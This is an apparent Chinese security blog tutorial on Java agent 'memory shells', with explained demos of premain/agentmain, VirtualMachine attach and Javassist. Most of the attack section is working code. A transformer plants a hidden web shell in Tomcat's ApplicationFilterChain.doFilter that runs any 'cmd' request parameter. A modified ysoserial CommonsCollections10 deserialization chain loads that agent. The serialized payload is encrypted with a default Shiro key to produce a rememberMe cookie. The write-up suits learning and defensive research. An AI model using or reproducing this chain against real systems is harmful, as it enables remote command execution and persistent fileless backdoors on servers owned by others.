学习Java agent 内存马(看不懂别关闭,直接喷!!!)

一、Java agent

java agent 是 Java 程序,可以通过在 Java 虚拟机(JVM)启动时提供参数来加载和运行。它可以通过 java.lang.instrument 包提供的 Java 标准接口进行代码插桩,从而在 Java 应用程序的类加载和运行期间改变 Java 字节码。而java agent内存马就是利用这个特性产生。

1、加载Agen有两种实现方式:

实现premain方法(JVM启动前加载)

实现agentmain方法(JVM启动后加载)

Java Agent 只是一个 Java 类而已,只不过普通的 Java 类是以 main 函数作为入口点的,Java Agent 的入口点则是 premain 和 agentmain

2、实现premain方法(JVM启动前加载)

进行一个简单的demo

1、创建一个DemoTest,用这个类实现premain

import java.lang.instrument.Instrumentation;

public class DemoTest {
    public static void premain(String agentArgs, Instrumentation inst) throws Exception{
        System.out.println(agentArgs);
        for(int i=0;i<5;i++){
            System.out.println("flynAAAA");
        }
    }
}

2.定义一个清单文件DemoTest.Mf(记得多一个换行)

Manifest-Version: 1.0
Premain-Class: DemoTest

3.接下来使用javac对DemoTest进行编译

javac DemoTest.java

4.使用jar进行打包

jar cvfm agent.jar DemoTest.mf DemoTest.class

5.创建一个普通的类

public class Hello {
    public static void main(String[] args) {
        System.out.println("hi,world");
    }
}

6.同样创建一个hello.mf的清单

Manifest-Version: 1.0
Main-Class: Hello

7、使用jar进行打包

jar cvfm Hello.jar Hello.mf Hello.class

8、输入

java -javaagent:agent.jar=args -jar hello.jar

 

可以看到premain方法是在main方法之前执行的,这里的args就是agent的启动参数。

3、加载agentmain方法

在实现agentmain之前有必要介绍一下几个组件:

1、Instrumentation API:

Instrumentation API 是一个 Java 类库,提供了一组用于在 Java 应用程序运行时进行字节码操作的接口。

它包括如下接口:

ClassDefinition:表示要定义的类的字节码。
ClassFileTransformer:提供了将输入的字节码转换为输出字节码的方法。
Instrumentation:提供了大多数代理功能的主接口。
UnmodifiableClassException:表示尝试修改不能修改的类时抛出的异常。

它还提供了一些其他的类和接口,如 Modifier 和 ClassFileTransformer。

通常,使用 Instrumentation API 可以在不重新启动应用程序的情况下修改类的字节码,并在运行时监控和测量应用程序的性能。它还可以用于创建 Java Agent,这是一种在 Java 程序启动时通过命令行参数指定的程序,可以替代或修改类的字节码。

2、VirtualMachine

VirtualMachine是Java提供的一种用于动态加载Java类的机制,是Java虚拟机的一部分,可以通过它在运行时加载和执行Java类。VirtualMachine接口定义了一些用于在虚拟机内部操作的方法,包括加载类、执行方法、获取类信息和设置虚拟机属性等。

VirtualMachine常用的接口有:
attach(String id):连接到具有指定ID的Java虚拟机。
detach():从Java虚拟机断开连接。
loadAgent(String agent):将指定的Java Agent加载到Java虚拟机中。
loadAgentLibrary(String agentLibrary):将指定的库加载到Java虚拟机中。
loadAgentPath(String agentPath):将指定的路径加载到Java虚拟机中。
getSystemProperties():获取Java虚拟机的系统属性。
getAgentProperties():获取Java Agent的属性。
getClassPath():获取Java虚拟机的类路径。
getJvmArgs():获取Java虚拟机的JVM参数。
getInputArguments():获取Java虚拟机的输入参数。
getAllThreads():获取Java虚拟机中所有线程的信息。
getCapabilities():获取Java虚拟机的能力

通过一个简单的demo来认识一下:

(1)先定义一个Agent类

import java.lang.instrument.Instrumentation;

public class AgentMain {
    public static void agentmain(String agentArgs, Instrumentation ins) {
        ins.addTransformer(new DefineTransformer(),true);
    }
}

(2)实现具体的Transformer方法

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.util.Scanner;

public class DefineTransformer implements ClassFileTransformer {
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        Scanner sc = new Scanner(System.in);
        System.out.println("Injected Class AgentMainDemo Successfully !");
        System.out.print("> ");
        try {
            InputStream is = Runtime.getRuntime().exec(sc.next()).getInputStream();
            BufferedReader br = new BufferedReader(new InputStreamReader(is));
            String line;
            StringBuilder sb = new StringBuilder();
            while ((line = br.readLine()) != null)
            {
                sb.append(line).append("\n");
            }
            System.out.println(sb);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return classfileBuffer;
    }
}

(3)创建清单文件

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: AgentMain

(4)同样进行编译,打包。

 (5)最后来个trigger,这里有个坑,Windows不会自己去加载VirtualMachine,需要手动将JDK目录/lib/tools.jar手动加载到项目资源中.

 最后创建项目:

package flynAAAA;


import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class maindemo {
    public static void main(String[] args) throws Exception{
        // 生成jar包的绝对路径
        String path = "D:\\1\\AgentMain.jar";
        // 列出已加载的jvm
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        // 遍历已加载的jvm
        for (VirtualMachineDescriptor v:list){

            // 打印jvm的 displayName 属性
            System.out.println("+++++++++++++++++++++++++");
            System.out.println(v.displayName());
            System.out.println("+++++++++++++++++++++++++");
            // 如果 displayName 为指定的类
            if (v.displayName().contains("maindemo")){
                // 打印pid
                System.out.println("id >>> " + v.id());
                // 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
                VirtualMachine vm = VirtualMachine.attach(v.id());
                // 将我们的 agent.jar 发送给虚拟机
                vm.loadAgent(path);
                // 解除链接
                vm.detach();
            }
        }
    }
}

成功将agent注入到了AgentMainDemo类中结果如图:

3、javassist

Javassist是一个Java库,用于在运行时操作字节码。 它提供了一种简单的方法来创建新类,修改现有类和动态加载类。 Javassist还提供了用于分析和修改Java字节码的API,以及用于在运行时修改Java类的能力。 Javassist使用类似于Java的语法来操作字节码,使得它很容易学习和使用。

ClassPool:

ClassPool是Javassist的类池,主要用于管理和操作字节码,可以加载.class文件或者是CtClass对象并进行转换。

常用方法:
getDefault(): 获取默认的ClassPool对象。
insertClassPath(ClassPath cp): 插入类源路径。
get(String className): 通过类名获取CtClass对象。
makeClass(String className): 创建新的CtClass对象。
makeInterface(String className): 创建新的接口CtClass对象。
makeAnnotation(String className): 创建新的注解CtClass对象。

 写一个简单的demo体验一下:

package javassit;
import javassist.*;
public class javassit
{
    public static void main(String[] args) throws Exception
    {
        // 获取ClassPool对象
        ClassPool pool = new ClassPool(true);
        // 插入类源路径
        pool.insertClassPath(new LoaderClassPath(javassit.class.getClassLoader()));
        // 新增Class
        CtClass ctClass = pool.makeClass("ssist.Test");
        // 新增Interface
        ctClass.addInterface(pool.get(Test.class.getName()));
        // 要添加的方法的返回值类型
        CtClass type = pool.get(void.class.getName());
        // 方法名称
        String name = "SayHello";
        // 方法参数
        CtClass[] parameters = new CtClass[]{pool.get(String.class.getName())};
        // 方法体,$1是方法的第一个参数
        String body = "{" +
                "System.out.println(\"Hello \" + $1);" +
                "}";
        // 实现方法
        CtMethod ctMethod = new CtMethod(type, name, parameters, ctClass);
        // 设置方法体
        ctMethod.setBody(body);
        //添加方法
        ctClass.addMethod(ctMethod);
        //调用
        Test o = (Test) ctClass.toClass().newInstance();
        o.SayHello("FlynAAAAA");
    }
    // 添加Test接口以便于Class的获取等一系列操作
    public interface Test
    {
        public void SayHello(String str);
    }
}

4、了解前面这些模块功能之后,体验用反序列话注入内存马

这里主要用到:

org.apache.catalina.core.ApplicationFilterChain#doFilter,

其根本原因就是该方法有ServletRequest和ServletResponse两个参数,里面封装了请求的request和response。另外,internalDoFilter方法是自定义filter的入口,如果在这里拦截,那么filter既通用,又不影响正常业务。

首先创建一个 AgentMain.jar文件(推荐使用mvn进行打包,教程如下:)

import java.lang.instrument.Instrumentation;

public class AgentMain {
    public AgentMain() {
    }

    public static void agentmain(String var0, Instrumentation var1) {
        var1.addTransformer(new DefineTransformer(), true);
    }
}

 重写transform

package Transformer;
import javassist.*;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class MyTransformer implements ClassFileTransformer {
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        className = className.replace('/', '.');
        if (className.equals(ClassName)) {
            ClassPool cp = ClassPool.getDefault();
            if (aClass != null) {
                ClassClassPath classPath = new ClassClassPath(aClass);
                cp.insertClassPath(classPath);
            }
            CtClass cc;
            try {
                cc = cp.get(className);
                CtMethod m = cc.getDeclaredMethod("doFilter");
                m.insertBefore(" javax.servlet.ServletRequest req = request;\n" +
                        "            javax.servlet.ServletResponse res = response\n;" +
                        "String cmd = req.getParameter(\"cmd\");\n" +
                        "if (cmd != null) {\n" +
                        "Process process = Runtime.getRuntime().exec(cmd);\n" +
                        "java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" +
                        "new java.io.InputStreamReader(process.getInputStream()));\n" +
                        "StringBuilder stringBuilder = new StringBuilder();\n" +
                        "String line;\n" +
                        "while ((line = bufferedReader.readLine()) != null) {\n" +
                        "stringBuilder.append(line + '\\n');\n" +
                        "}\n" +
                        "res.getOutputStream().write(stringBuilder.toString().getBytes());\n" +
                        "res.getOutputStream().flush();\n" +
                        "res.getOutputStream().close();\n" +
                        "}");
                byte[] byteCode = cc.toBytecode();
                cc.detach();
                return byteCode;
            } catch (NotFoundException | IOException | CannotCompileException e) {
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

pom.xml文件如下:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.4ny0ne</groupId>
    <artifactId>agentdemo</artifactId>
    <version>1.0</version>
    <packaging>jar</packaging>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.26.0-GA</version>
        </dependency>
        <dependency>
            <groupId>org.ow2.asm</groupId>
            <artifactId>asm-commons</artifactId>
            <version>9.0</version>
        </dependency>

    </dependencies>

    <build>
        <plugins>
            <plugin>
                <!-- maven-shade-plugin插件可以在打包的时候将所有依赖包一并导入jar中 !-->
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-shade-plugin</artifactId>
                <version>2.3</version>
                <executions>
                    <execution>
                        <phase>package</phase>
                        <goals>
                            <goal>shade</goal>
                        </goals>
                        <configuration>
                            <!-- 这里面的东西主要是配置MANIFEST.MF文件,打包的时候会自动生成MANIFEST.MF,我们需要在这里做好配置 !-->
                            <transformers>
                                <transformer
                                        implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
                                    <mainClass>util.Microseer</mainClass>
                                    <manifestEntries>
                                        <Class-Path>true</Class-Path>
                                        <Agent-Class>
                                            <!-- 同理,指明了agentmain方法所在类 !-->
                                            agent.MyAgent
                                        </Agent-Class>
                                        <Can-Retransform-Classes>true</Can-Retransform-Classes>
                                        <Can-Redefine-Classes>true</Can-Redefine-Classes>

                                    </manifestEntries>
                                </transformer>
                            </transformers>
                        </configuration>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>
</project>

这里的反序列环境用Shiro(P神的环境),链子用Y4er师傅改造的CC10(依赖于ysoserial项目环境)。

package ysoserial.payloads;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Reflections;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

// 依赖 commons-collections:commons-collections:3.2.1
// 依赖于 ysoserial javassist
public class CommonsCollections10 {

    // 设置系统属性
    static {
        System.setProperty("jdk.xml.enableTemplatesImplDeserialization", "true");
        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
    }

    public static Object createTemplatesImpl(String command) throws Exception {
        // 判断系统变量 properXalan 是否存在
        return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }

    public static <T> T createTemplatesImpl(String agentPath, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
        // 获取TemplatesImpl类
        T templates = tplClass.newInstance();
        // Javassist插桩
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // 注入Agent
        String cmd = String.format(
            "        try {\n" +
                "java.io.File toolsJar = new java.io.File(System.getProperty(\"java.home\").replaceFirst(\"jre\", \"lib\") + java.io.File.separator + \"tools.jar\");\n" +
                "java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();\n" +
                "java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod(\"addURL\", new java.lang.Class[]{java.net.URL.class});\n" +
                "add.setAccessible(true);\n" +
                "            add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});\n" +
                "Class/*<?>*/ MyVirtualMachine = classLoader.loadClass(\"com.sun.tools.attach.VirtualMachine\");\n" +
                "            Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass(\"com.sun.tools.attach.VirtualMachineDescriptor\");" +
                "java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod(\"list\", null);\n" +
                "            java.util.List/*<Object>*/ invoke = (java.util.List/*<Object>*/) list.invoke(null, null);" +
                "for (int i = 0; i < invoke.size(); i++) {" +
                "Object o = invoke.get(i);\n" +
                "                java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod(\"displayName\", null);\n" +
                "                Object name = displayName.invoke(o, null);\n" +
                "if (name.toString().contains(\"org.apache.catalina.startup.Bootstrap\")) {" +
                "                    java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod(\"attach\", new Class[]{MyVirtualMachineDescriptor});\n" +
                "                    Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});\n" +
                "                    java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod(\"loadAgent\", new Class[]{String.class});\n" +
                "                    loadAgent.invoke(machine, new Object[]{\"%s\"});\n" +
                "                    java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod(\"detach\", null);\n" +
                "                    detach.invoke(machine, null);\n" +
                "                    break;\n" +
                "}" +
                "}" +
                "} catch (Exception e) {\n" +
                "            e.printStackTrace();\n" +
                "        }"
            , agentPath.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\""));
        // 在makeclass时插入我们的代码
        clazz.makeClassInitializer().insertAfter(cmd);
        // 重命名时间
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        // 获取准备继承的类class
        CtClass superC = pool.get(abstTranslet.getName());
        // 继承
        clazz.setSuperclass(superC);
        // 转字节码
        byte[] classBytes = clazz.toBytecode();
        // TemplatesImpl的常规操作, 反射定义恶意字节码
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, classAsBytes(Foo.class)});
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

    public static String classAsFile(Class<?> clazz) {
        return classAsFile(clazz, true);
    }

    public static String classAsFile(Class<?> clazz, boolean suffix) {
        String str;
        if (clazz.getEnclosingClass() == null) {
            str = clazz.getName().replace(".", "/");
        } else {
            str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
        }

        if (suffix) {
            str = str + ".class";
        }

        return str;
    }

    // class转byte[]
    public static byte[] classAsBytes(Class<?> clazz) {
        try {
            byte[] buffer = new byte[1024];
            String file = classAsFile(clazz);
            InputStream in = CommonsBeanutils1.class.getClassLoader().getResourceAsStream(file);
            if (in == null) {
                throw new IOException("couldn't find '" + file + "'");
            } else {
                ByteArrayOutputStream out = new ByteArrayOutputStream();

                int len;
                while ((len = in.read(buffer)) != -1) {
                    out.write(buffer, 0, len);
                }

                return out.toByteArray();
            }
        } catch (IOException var6) {
            throw new RuntimeException(var6);
        }
    }


    public static void main(String[] args) throws Exception {
        // Agent路径
        String command = "D:\\1\\agentdemo.jar";
        // 下面的操作就是cc10
        Object templates = createTemplatesImpl(command);
        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformer);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;

        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException var17) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        Reflections.setAccessible(f);
        HashMap innimpl = null;
        innimpl = (HashMap) f.get(map);
        Field f2 = null;

        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException var16) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        Reflections.setAccessible(f2);
        Object[] array = new Object[0];
        array = (Object[]) ((Object[]) f2.get(innimpl));
        Object node = array[0];
        if (node == null) {
            node = array[1];
        }

        Field keyField = null;

        try {
            keyField = node.getClass().getDeclaredField("key");
        } catch (Exception var15) {
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        Reflections.setAccessible(keyField);
        keyField.set(node, entry);
        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

        // 序列化payload
        byte[] bytes = Serializables.serializeToBytes(map);
        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        // AES加密
        String rememberMe = EncryptUtil.shiroEncrypt(key, bytes);
        System.out.println(rememberMe);
    }

    // 定义版本ID
    public static class Foo implements Serializable {
        private static final long serialVersionUID = 8207363842866235160L;

        public Foo() {
        }
    }

    public static class StubTransletPayload extends AbstractTranslet implements Serializable {
        private static final long serialVersionUID = -5971610431559700674L;

        public StubTransletPayload() {
        }

        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        }

        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        }
    }


}
// 序列化
class Serializables {
    public static byte[] serializeToBytes(final Object obj) throws Exception {
        final ByteArrayOutputStream out = new ByteArrayOutputStream();
        final ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        objOut.flush();
        objOut.close();
        return out.toByteArray();
    }


    public static Object deserializeFromBytes(final byte[] serialized) throws Exception {
        final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        final ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }

    public static void serializeToFile(String path, Object obj) throws Exception {
        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法将obj对象写入object文件
        os.writeObject(obj);
        os.close();
    }

    public static Object serializeFromFile(String path) throws Exception {
        FileInputStream fis = new FileInputStream(path);
        ObjectInputStream ois = new ObjectInputStream(fis);
        // 通过Object的readObject()恢复对象
        Object obj = ois.readObject();
        ois.close();
        return obj;
    }

}

// AES加密
class EncryptUtil {
    private static final String ENCRY_ALGORITHM = "AES";
    private static final String CIPHER_MODE = "AES/CBC/PKCS5Padding";
    private static final byte[] IV = "aaaaaaaaaaaaaaaa".getBytes();     // 16字节IV

    public EncryptUtil() {
    }

    public static byte[] encrypt(byte[] clearTextBytes, byte[] pwdBytes) {
        try {
            SecretKeySpec keySpec = new SecretKeySpec(pwdBytes, ENCRY_ALGORITHM);
            Cipher cipher = Cipher.getInstance(CIPHER_MODE);
            IvParameterSpec iv = new IvParameterSpec(IV);
            cipher.init(1, keySpec, iv);
            byte[] cipherTextBytes = cipher.doFinal(clearTextBytes);
            return cipherTextBytes;
        } catch (NoSuchPaddingException var6) {
            var6.printStackTrace();
        } catch (NoSuchAlgorithmException var7) {
            var7.printStackTrace();
        } catch (BadPaddingException var8) {
            var8.printStackTrace();
        } catch (IllegalBlockSizeException var9) {
            var9.printStackTrace();
        } catch (InvalidKeyException var10) {
            var10.printStackTrace();
        } catch (Exception var11) {
            var11.printStackTrace();
        }

        return null;
    }

    public static String shiroEncrypt(String key, byte[] objectBytes) {
        byte[] pwd = Base64.decode(key);
        byte[] cipher = encrypt(objectBytes, pwd);

        assert cipher != null;

        byte[] output = new byte[pwd.length + cipher.length];
        byte[] iv = IV;
        System.arraycopy(iv, 0, output, 0, iv.length);
        System.arraycopy(cipher, 0, output, pwd.length, cipher.length);
        return Base64.encode(output);
    }
}

用CC10得到rememberme:

 

参考链接:

https://mp.weixin.qq.com/s/IFQJLijjfk8er7yzaNkb_A

师傅的公众号“安全日记”,欢迎关注!!!!!!!

 

评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值